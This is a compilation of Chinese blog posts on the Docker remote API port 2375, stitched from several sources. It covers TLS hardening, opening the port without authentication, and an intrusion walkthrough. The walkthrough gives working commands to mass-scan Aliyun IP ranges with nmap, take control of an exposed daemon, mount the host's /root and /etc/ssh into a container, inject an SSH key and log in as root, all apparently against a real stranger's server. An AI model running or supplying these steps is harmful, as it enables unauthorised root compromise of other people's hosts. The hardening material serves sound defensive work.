情景再现：

之前有很多朋友提过，当使用docker-maven-plugin打包SpringBoot应用的Docker镜像时，服务器需要开放2375端口。由于开放了端口没有做任何安全保护，会引起安全漏洞，被人入侵、挖矿、CPU飙升这些情况都有发生，今天我们来聊聊如何解决这个问题。

问题产生的原因

首先我们要明白问题产生的原因，才能更好地解决问题！

Docker为了实现集群管理，提供了远程管理的端口。Docker Daemon作为守护进程运行在后台，可以执行发送到管理端口上的Docker命令。

当我们修改docker.service文件，修改启动命令，加入-H tcp://0.0.0.0:2375时，就会开放2375端口，且没有任何加密和认证过程，这种方式一般用在内网测试环境。如果你的服务器部署在公网上，任何知道你IP的人，都可以管理这台主机上的容器和镜像，想想就觉得可怕。

解决思路

• 制作证书及秘钥
  我们需要使用OpenSSL制作CA机构证书、服务端证书和客户端证书，以下操作均在安装Docker的Linux服务器上进行。

首先创建一个目录用于存储生成的证书和秘钥；

mkdir /mydata/docker-ca && cd /mydata/docker-ca

创建CA证书私钥，期间需要输入两次用户名和密码，生成文件为ca-key.pem；

openssl genrsa -aes256 -out ca-key.pem 4096

根据私钥创建CA证书，期间需要输入上一步设置的私钥密码，生成文件为ca.pem；

openssl req -new -x509 -days 365 -key ca-key.pem -sha256 -subj "/CN=*" -out ca.pem

创建服务端私钥，生成文件为server-key.pem；

openssl genrsa -out server-key.pem 4096

创建服务端证书签名请求文件，用于CA证书给服务端证书签名，生成文件server.csr；

openssl req -subj "/CN=*" -sha256 -new -key server-key.pem -out server.csr

创建CA证书签名好的服务端证书，期间需要输入CA证书私钥密码，生成文件为server-cert.pem；

openssl x509 -req -days 365 -sha256 -in server.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out server-cert.pem

创建客户端私钥，生成文件为key.pem；

openssl genrsa -out key.pem 4096

创建客户端证书签名请求文件，用于CA证书给客户证书签名，生成文件client.csr；

openssl req -subj "/CN=client" -new -key key.pem -out client.csr

为了让秘钥适合客户端认证，创建一个扩展配置文件extfile-client.cnf；

echo extendedKeyUsage = clientAuth > extfile-client.cnf

创建CA证书签名好的客户端证书，期间需要输入CA证书私钥密码，生成文件为cert.pem；

openssl x509 -req -days 365 -sha256 -in client.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out cert.pem -extfile extfile-client.cnf

删除创建过程中多余的文件；

rm -rf ca.srl server.csr client.csr extfile-client.cnf

最终生成文件如下，有了它们我们就可以进行基于TLS的安全访问了。

ca.pem CA证书
ca-key.pem CA证书私钥
server-cert.pem 服务端证书
server-key.pem 服务端证书私钥
cert.pem 客户端证书
key.pem 客户端证书私钥

• 配置Docker支持TLS
  用vim编辑器修改docker.service文件；

vi /usr/lib/systemd/system/docker.service

修改以ExecStart开头的配置，开启TLS认证，并配置好CA证书、服务端证书和服务端私钥，修改内容如下；

ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 --tlsverify --tlscacert=/mydata/docker-ca/ca.pem --tlscert=/mydata/docker-ca/server-cert.pem --tlskey=/mydata/docker-ca/server-key.pem

重启Docker服务，这样我们的Docker服务就支持使用TLS进行远程访问了！

systemctl daemon-reload && systemctl restart docker

• 客户端访问

接下来我们将使用docker-maven-plugin来打包Docker镜像，使用的代码为原来的mall-tiny-docker例子。
直接使用docker-maven-plugin打包试试，由于我们的插件版本有点低，使用新一点版本的Docker会出现如下问题，升级到1.2.2版本解决该问题；

[ERROR] Failed to execute goal com.spotify:docker-maven-plugin:1.1.0:build (build-image) on project mall-tiny-docker: Exception caught: com.spotify.docker.client.shaded.com.fasterxml.jackson.databind.exc.MismatchedInputException: Cannot construct instance of `com.spotify.docker.client.messages.RegistryAuth` (although at least one Creator exists): no String-argument constructor/factory method to deserialize from String value ('desktop')
[ERROR] at [Source: UNKNOWN; line: -1, column: -1] (through reference chain: java.util.LinkedHashMap["credsStore"])
[ERROR] -> [Help 1]

修改完版本后打包，发现TLS不再支持http了，需要改用https，修改配置为https；

[ERROR] Failed to execute goal com.spotify:docker-maven-plugin:1.2.2:build (build-image) on project mall-tiny-docker: Exception caught: Request error: GET http://192.168.3.101:2375/version: 400, body: Client sent an HTTP request to an HTTPS server. HTTP 400 Bad Request -> [Help 1]

修改完成后再次打包，继续失败，需要添加对应的客户端证书才能访问；

[ERROR] Failed to execute goal com.spotify:docker-maven-plugin:1.2.2:build (build-image) on project mall-tiny-docker: Exception caught: java.util.concurrent.ExecutionException: com.spotify.docker.client.shaded.javax.ws.rs.ProcessingException: javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target -> [Help 1]

将如下文件复制到指定目录，这里复制到了I:\developer\env\docker-ca；

ca.pem CA证书
cert.pem 客户端证书
key.pem 客户端证书私钥

然后将该目录配置在插件的节点下，最终插件配置如下；

<plugin>
    <groupId>com.spotify</groupId>
    <artifactId>docker-maven-plugin</artifactId>
    <version>1.2.2</version>
    <executions>
        <execution>
            <id>build-image</id>
            <phase>package</phase>
            <goals>
                <goal>build</goal>
            </goals>
        </execution>
    </executions>
    <configuration>
        <imageName>mall-tiny/${project.artifactId}:${project.version}</imageName>
        <dockerHost>https://192.168.3.101:2375</dockerHost>
        <baseImage>java:8</baseImage>
        <entryPoint>["java", "-jar","/${project.build.finalName}.jar"]
        </entryPoint>
        <dockerCertPath>I:\developer\env\docker-ca</dockerCertPath>
        <resources>
            <resource>
                <targetPath>/</targetPath>
                <directory>${project.build.directory}</directory>
                <include>${project.build.finalName}.jar</include>
            </resource>
        </resources>
    </configuration>
</plugin>

再次打包镜像，发现已经可以成功打包镜像，从此我们的2375端口终于可以安全使用了！

[INFO] Building image mall-tiny/mall-tiny-docker:0.0.1-SNAPSHOT
Step 1/3 : FROM java:8

 ---> d23bdf5b1b1b
Step 2/3 : ADD /mall-tiny-docker-0.0.1-SNAPSHOT.jar //

 ---> 5cb5a64ccedd
Step 3/3 : ENTRYPOINT ["java", "-jar","/mall-tiny-docker-0.0.1-SNAPSHOT.jar"]

 ---> Running in 5f3ceefdd974
Removing intermediate container 5f3ceefdd974
 ---> ee9d0e2b0114
ProgressMessage{id=null, status=null, stream=null, error=null, progress=null, progressDetail=null}
Successfully built ee9d0e2b0114
Successfully tagged mall-tiny/mall-tiny-docker:0.0.1-SNAPSHOT
[INFO] Built mall-tiny/mall-tiny-docker:0.0.1-SNAPSHOT
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 20.550 s
[INFO] Finished at: 2020-07-31T15:02:15+08:00
[INFO] Final Memory: 50M/490M
[INFO] ------------------------------------------------------------------------

原创作者：梦想de星空

1、编辑docker.service

# vim /usr/lib/systemd/system/docker.service

在 ExecStart=/usr/bin/dockerd-current 后 增加

-H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock

[Unit]
Description=Docker Application Container Engine
Documentation=https://docs.docker.com
After=network-online.target firewalld.service containerd.service
Wants=network-online.target
Requires=docker.socket containerd.service

[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H tcp://0.0.0.
0:2375 -H unix://var/run/docker.sock
ExecReload=/bin/kill -s HUP $MAINPID
TimeoutSec=0
RestartSec=2
Restart=always

# Note that StartLimit* options were moved from "Service" to "Unit" in systemd 229.
# Both the old, and new location are accepted by systemd 229 and up, so using the old location
# to make them work for either version of systemd.
StartLimitBurst=3

# Note that StartLimitInterval was renamed to StartLimitIntervalSec in systemd 230.
# Both the old, and new name are accepted by systemd 230 and up, so using the old name to make
# this option work for either version of systemd.
StartLimitInterval=60s

2、重启docker，重新读取配置文件，重新启动docker服务

# systemctl daemon-reload

# systemctl restart docker

[root@docker-servers ~]# systemctl daemon-reload
[root@docker-servers ~]# systemctl restart docker
[root@docker-servers ~]# netstat -tunlp | grep 2375
tcp6       0      0 :::2375                 :::*                    LISTEN      96681/dockerd

3、开放防火墙端口

# firewall-cmd --zone=public --add-port=2375/tcp --permanent

[root@localhost ~]# firewall-cmd --zone=public --add-port=2375/tcp --permanent
success

如果您使用的是云服务器，您还需要打开对应的云服务器安全组，在安全组里面配置对应的端口才行。

相信了解过docker remote API的同学对2375端口都不陌生了，2375是docker远程操控的默认端口，通过这个端口可以直接对远程的docker daemon进行操作。

当$HOST主机以docker daemon -H=0.0.0.0:2375方式启动daemon时，可以在外部机器对$HOST的docker daemon进行直接操作：

docker -H tcp://$HOST:2375 ps

好，说说如何“入侵”，怎么通过这个端口入侵宿主机呢？

这个应该要从几个点说起吧：
1. docker对user namespace没有做隔离，也就是说，容器内部的root用户就是宿主机的root用户，一旦挂载目录，就可以在容器内部以宿主机的root用户身份对挂载的文件系统随意修改了。

1. docker服务拥有很高的执行权利(相当于root)，并且在docker用户组下的普通用户不需要任何其他验证就可以执行docker run等命令。
2. 暴露的docker remote API端口如果没有启动ssl验证的话，任何能连通到这台docker宿主机的的机器都可以随意操作这台docker宿主机的docker daemon（docker run、docker ps、docker rm等等这些命令都不在话下）。

结合以上3点，就基本具备入侵docker宿主机的条件了

讲得似乎有点悬，不多说，直接拿一个活鲜鲜的例子来讲吧：

(请允许我用最近新学的一道菜将流程带过 ╮(￣▽￣)╭ )

秘制红烧肉(docker版)

材料：一整块一整块的“5花”IP段，越肥越好（小白用户越多越好）

配料：nmap，docker

step 1: 扫描2375端口

怎么扫？我选用的是简单易用的黑客必备神器nmap了。

扫哪里呢？我选的目标是aliyun的IP段，百度得知：

42.96.128.0/17    Alibaba (Beijing) Technology Co., Ltd. China  
42.120.0.0/16    Aliyun Computing Co., LTD China  
42.121.0.0/16    Aliyun Computing Co., LTD China  
42.156.128.0/17    Aliyun Computing Co., LTD China  
110.75.0.0/16    Asia Pacific Network Information Centre China  
110.76.0.0/19    Ali Technology Co., Ltd China  
110.76.32.0/20    Aliyun Computing Co., LTD China  
110.173.192.0/20    HiChina Web Solutions (Beijing) Limited China  
110.173.208.0/20    HiChina Web Solutions (Beijing) Limited China  
112.124.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
112.127.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
114.215.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
115.28.0.0/16    HiChina Web Solutions (Beijing) Limited China  
115.29.0.0/16    HiChina Web Solutions (Beijing) Limited China  
115.124.16.0/22    Hangzhou Alibaba Advertising Co.,Ltd. China  
115.124.20.0/22    Hangzhou Alibaba Advertising Co.,Ltd. China  
115.124.24.0/21    Hangzhou Alibaba Advertising Co.,Ltd. China  
119.38.208.0/21    Hangzhou Alibaba Advertising Co.,Ltd. China  
119.38.216.0/21    Hangzhou Alibaba Advertising Co.,Ltd. China  
119.42.224.0/20    Alibaba (China) Technology Co., Ltd. China  
119.42.242.0/23    Hangzhou Alibaba Advertising Co.,Ltd. China  
119.42.244.0/22    Hangzhou Alibaba Advertising Co.,Ltd. China  
121.0.16.0/21    Hangzhou Alibaba Advertising Co.,Ltd. China  
121.0.24.0/22    Hangzhou Alibaba Advertising Co.,Ltd. China  
121.0.28.0/22    Hangzhou Alibaba Advertising Co.,Ltd. China  
121.196.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
121.197.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
121.198.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
121.199.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
140.205.0.0/16    Aliyun Computing Co., LTD China  
203.209.250.0/23    Hangzhou Alibaba Advertising Co.,Ltd. China  
218.244.128.0/19    Hangzhou Alibaba Advertising Co.,Ltd. China  
223.4.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
223.5.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
223.5.5.0/24    Hangzhou Alibaba Advertising Co.,Ltd. China  
223.6.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
223.6.6.0/24    Hangzhou Alibaba Advertising Co.,Ltd. China  
223.7.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. 

我不生产IP，我只是百度的搬运工，别问我这些IP从那来，我也想知道~ >.<

将上面IP内容保存在一个文件中，如 aliyun.list

开始扫描：

cat aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --open    
# 简单解释一下命令：
# awk 将第一列IP网段过滤出来
# xargs 将过滤出来的IP一个一个的分次送给nmap，-I {} 是指使用{}来代替传送的参数
# ...
# Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-05 09:57 CST
# Nmap scan report for 42.96.MOSAIC.MOSAIC
# Host is up (0.070s latency).
# PORT     STATE SERVICE
# 2375/tcp open  docker
# ...

不到两分钟，第一块42.96.MOSAIC.MOSAIC（五花肉已打码） “五花肉”选好了，来吧~

step 2: 测试2375的直接控制权

docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ps

# CONTAINER ID        IMAGE                              COMMAND                  CREATED             STATUS              PORTS           
# 73aa690e7c92        imdjh/owncloud-with-ocdownloader   "/entrypoint.sh"         9 days ago          Up 3 days           0.0.0.0:9009->80
# f57c56af0e29        rethinkdb:2.3.2                    "rethinkdb --bind all"   9 days ago          Up 3 days           8080/tcp, 28015/
# 37c1401db593        gaomd/ikev2-vpn-server:0.3.0       "/bin/sh -c /usr/bin/"   10 days ago         Up 3 days           0.0.0.0:500->500
# af7338a5426d        nginx:1.9-alpine                   "nginx -g 'daemon off"   3 weeks ago         Up 3 days           443/tcp, 0.0.0.0
# ...

这个服务器的owner也太配合了(⊙ο⊙)，ps直接看到内容，说明这个主机的2375是没有ssl验证的，基本满足入侵要求。

“五花”洗好，切好，准备下锅~

step 3: 远程启动自己的容器

拿到了docker的控制权能做什么呢？拿到了就呵呵了~

# images 看看本地已有的镜像
# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 images
# ...
# swarm                              latest              47dc182ea74b        4 weeks ago         19.32 MB
# jwilder/nginx-proxy                latest              203b20631e41        4 weeks ago         255.6 MB
# ubuntu                             latest              c5f1cf30c96b        4 weeks ago         120.8 MB
# shipyard/shipyard                  latest              ba426f0944bc        5 weeks ago         58.92 MB
# ...

省略了一部分输出，镜像还蛮多的，就选个ubuntu吧

# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 run --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu

看到这步，相信对ssh有一些了解的同学应该就明白了

step 4: ssh pub key 注入

在刚刚启动的容器中先看看 /tmp/ssh_etc/sshd_config (就是宿主机的/etc/ssh/sshd_config) 的PermitRootLogin字段。如果是no就改成yes，允许root通过ssh登录

然后在你的机器上生成一对新的pub key（已经有ssh key的也建议生成一个新的，不要使用自己日常使用的ssh pub key）

# 使用 ssh-keygen生成
ssh-keygen -t rsa -C "hello@world.com"
# 执行命令后的提示Enter file in which to save the key要看好，不要把自己的ssh key覆盖了，可以选着/tmp/id_rsa
# 其他提示enter到底即可

继续，注入ssh pub key，回到刚刚启动的容器执行

cat >> /tmp/root/.ssh/authorized_keys <<EOF
>ssh-rsa AAA....     # 这里粘贴你刚刚在自己机器生成的/tmp/id_rsa.pub
>EOF

# 如果/tmp/root/.ssh目录不存在，就直接创建

八角香叶生抽老抽醋都加上，中火烹饪，准备出锅~

step 5: 登入服务器

# ssh -i 指定秘钥登录
ssh -i /tmp/id_rsa root@42.96.MOSAIC.MOSAIC

# Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)
#
# * Documentation:  https://help.ubuntu.com/
#
# Welcome to aliyun Elastic Compute Service!
#
# Last login: Fri Jun  3 01:38:07 2016 from 120.85.MOSAIC.MOSAIC
# manpath: can't set the locale; make sure $LC_* and $LANG are correct
# root@iZ28p9b7e***:~# 
# ...

大火收汁，起锅!

郑重声明

以上教程仅为交流学习之用，42.96.MOSAIC.MOSAIC 服务器上的id_rsa.pub在制作完本教程后已主动清除，并在服务上留言告知。

如果你一不小心也发现了可用的2375端口，希望也能点到即止，误做他用，或者发现其他入侵漏洞，可以和大家交流学习。

2375是docker漏洞吗？

非也！2375直接裸露地暴露在公网上纯属是用户习惯或者偷懒的问题，2375可以在相对安全的内部网络中方便测试使用，并不适合使用在投入到生产环境中。

docker官网第一篇文档quick start上有句话是这样子的：

Warning: Changing the default docker daemon binding to a TCP port or
Unix docker user group will increase your security risks by allowing
non-root users to gain root access on the host. Make sure you control
access to docker. If you are binding to a TCP port, anyone with
access to that port has full Docker access; so it is not advisable
 on an open network.

已经Warning告知：如果将daemon直接暴露在一个TCP端口，将可能会被以非root用户去获取宿主机的root权限。其实上面的说提到的服务器之所以这么容器被入侵，也正是这个原因。

何以防之

那么，问题来了，如果想用Remote API，又不想有被入侵的风险，怎么办呢？

docker官方文档上介绍了一种通过CA认证方式使用Remote API

具体可以参考：Protect the Docker daemon socket

(等理解了再补一篇博客吧，就姑且让我以一个链接的形式带过吧O.O)

配置过程还算是比较简单的，下面放一张图，展示配置SSL后的效果：